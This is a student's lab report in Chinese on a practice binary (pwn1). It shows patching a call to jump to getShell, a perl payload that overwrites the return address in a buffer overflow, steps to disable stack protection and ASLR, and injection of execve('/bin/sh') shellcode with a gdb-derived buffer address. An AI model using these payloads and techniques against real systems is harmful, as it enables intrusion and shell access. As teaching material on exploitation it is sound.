1.掌握NOP, JNE, JE, JMP, CMP彙編指令的機器碼html
經過反彙編指令objdump -d 20155312zjy
查看可執行文件20155312zjy的反彙編代碼和對應的機器碼,以下圖所示:shell
咱們不難發現:編程
想要了解其餘指令的機器碼,能夠參考彙編指令和機器碼的對應表vim
2.掌握反彙編與十六進制編程器sass
-d
參數是-D
參數,但它反彙編全部section。
| more
,這樣咱們就能夠利用more的一些快捷鍵,如:Enter(向下翻滾一行),空格(向下滾動一屏),Q(退出命令)vi 20155312zjy
查看可執行文件內容,發現大部分是咱們無法理解的亂碼;:%!xxd
將顯示模式切換爲16進制模式;:%!xxd -r
轉換16進製爲原格式。3.能正確修改機器指令改變程序執行流程bash
見實驗步驟及結果第一部分dom
4.能正確構造payload進行bof攻擊編輯器
返回目錄工具
1、手工修改可執行文件,改變程序執行流程,直接跳轉到getShell函數
objdump -d 20155312zjy
指令查看可執行文件20155312zjy(pwn1的副本)的反彙編結果;80484b5: e8 d7 ff ff ff call 8048491 <foo>
0804847d
和foo函數的地址08048491
,能夠發現兩地址之差爲十六進制「14」;vi 20155312
;:%!xxd
;/e8d7
查找須要修改的內容;:%!xxd -r
;至此完成了修改機器指令改變程序執行的流程。
2、利用foo函數的Bof漏洞,構造一個攻擊輸入字符串,覆蓋返回地址,觸發getShell函數
實驗步驟以下:
1.分析代碼,發現foo函數存在Buffer overflow漏洞
2.foo函數中讀入字符串,但系統只預留了32字節的緩衝區,超出部分會形成溢出,咱們的目標是覆蓋返回地址;
3.正常狀況下call調用foo,同時在堆棧上壓上返回地址值:0x80484ba;
4.確認輸入字符串哪幾個字符會覆蓋到返回地址;
5.用gdb調試程序,輸入有規律的字符串如「1111111122222222333333334444444412345678」
6.緩衝區溢出,程序中止執行,堆棧保持當前狀態;
7.用info r
查看寄存器eip的值,看輸入的哪一個字節覆蓋了它,鎖定「1234」這四個字節;
8.因爲1234 那四個數最終會覆蓋到堆棧上的返回地址,因此咱們要用getshell的地址0x0804847d
替換它;
9.因爲數據的小端方式存儲,咱們要在32字節後輸入\x7d\x84\x04\x08
這四個字節來覆蓋返回地址爲getshell的地址;
10.輸入perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input
將字符串用perl腳本語言寫入input文件;
11.用xxd input
以16進制顯示input文件,檢查寫入地址的正誤;
12.確認無誤後用(cat input;cat) | ./20155312zjy2
來將改字符串做爲可執行文件的輸入。
3、注入一個本身製做的shellcode並運行這段shellcode
1.準備工做:用execstack -s pwn1
設置堆棧可執行;
2.execstack -q pwn1
查詢文件的堆棧是否可執行;
3.more /proc/sys/kernel/randomize\_va\_space 2
4.echo "0" > /proc/sys/kernel/randomize\_va\_space
關閉地址隨機化;
5.more /proc/sys/kernel/randomize\_va\_space 0
6.完成準備工做,咱們要明確本身的目的是將shellcode代碼寫入buffer(緩衝區足夠大),或把shellcode放在返回地址後(緩衝區小),把返回地址改成buffer的首地址;
7.打開終端讓可執行文件20155312zjy2在運行狀態,再開一個終端;
8.用ps -ef | grep 20155312zjy2
來顯示與20155312zjy2有關的進程列表,從而肯定正在執行的進程的進程號2195;
9.用gdb調試程序;
10.用attach 2195
與進程創建鏈接;
11.用info r
查看寄存器的值,其實此時咱們能夠經過棧頂的地址計算出buffer的首地址,咱們先不算,繼續後續操做;
12.用disassemble foo
反彙編foo函數
13.用break *0x080484a5
在輸入後輸出前設置斷點;
14.c
即continue繼續
15.運行程序的一段輸入字符串,如12345678,爲了肯定buffer的首地址,咱們只須要找到「1」這個字節的地址便可;
16.用info r
查看esp棧頂指針的地址;
17.用x/16x 0xffecafc0
以16進制查看esp寄存器地址開頭的內存中的值;
18.找到buffer在堆棧中的位置,計算出地址爲0xffecafdc
;
19.若是咱們要在返回地址前注入,就須要用perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\xdc\xaf\xec\xff\x00"' > input_shellcode
這個語句,返回地址對應其中的「\xdc\xaf\xec\xff」,shellcode代碼爲「\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80」;
20.接着用一樣的方法將input_shellcode文件中的內容做爲20155312zjy2這個文件執行時的輸入便可。
至此,完成了構造payload進行bof攻擊。
./pwn1
執行pwn1會出現[ bash: ./pwn1:沒有那個文件或目錄]的提示,可是ls命令又能看到存在pwn1文件。①修改更新源sources.list
/etc/apt/sources.list
文件\#阿里雲kali源 deb http://mirrors.aliyun.com/kali kali-rolling main non-free contrib deb-src http://mirrors.aliyun.com/kali kali-rolling main non-free contrib deb http://mirrors.aliyun.com/kali-security kali-rolling/updates main contrib non-free deb-src http://mirrors.aliyun.com/kali-security kali-rolling/updates main contrib non-free \#中科大kali源 deb http://mirrors.ustc.edu.cn/kali kali-rolling main non-free contrib deb-src http://mirrors.ustc.edu.cn/kali kali-rolling main non-free contrib deb http://mirrors.ustc.edu.cn/kali-security kali-current/updates main contrib non-free deb-src http://mirrors.ustc.edu.cn/kali-security kali-current/updates main contrib non-free
apt-get clean apt-get update apt-get upgrade
②安裝32位運行庫
apt-get install lib32ncurses5
運行後會等待一會會出現以下提示界面,這時按一下回車就行了:
apt-get upgrade
時提示「有未能知足的依賴關係」apt --fix-broken install
便可,以下圖所示,待執行完畢進行後續操做便可。1.個人收穫
第一次動手修改機器碼,應用了上學期深刻理解計算機系統中Y86-64指令集體系結構中的相關知識,發現知識的相關性很容易幫助咱們理解更多的內容;第一次動手實現緩衝區溢出攻擊,終於理解了堆棧是這麼被惡意代碼覆蓋的,覆蓋後是怎麼實現跳轉的,跳轉後是怎麼執行的。
2.什麼是漏洞?漏洞有什麼危害?
經過此次實驗,我發現緩衝區溢出漏洞是在程序設計時,因爲沒有考慮到輸入超出棧分配的空間的狀況,被攻擊者利用形成的,這些漏洞可能一方面與程序設計有關,一方面還與計算機自己的設置和屬性有關,好比要想構造payload進行bof攻擊,必須提早更改相關設置,讓堆棧中的代碼可執行,這也能夠體現出計算機設置不足也會給攻擊者提供機會。危害很大,被攻擊的計算機可能會進入命令行模式,從而攻擊者能夠對文件進行任意的操做,也可能會執行相關的惡意代碼,爲木馬植入、後門設置提供條件。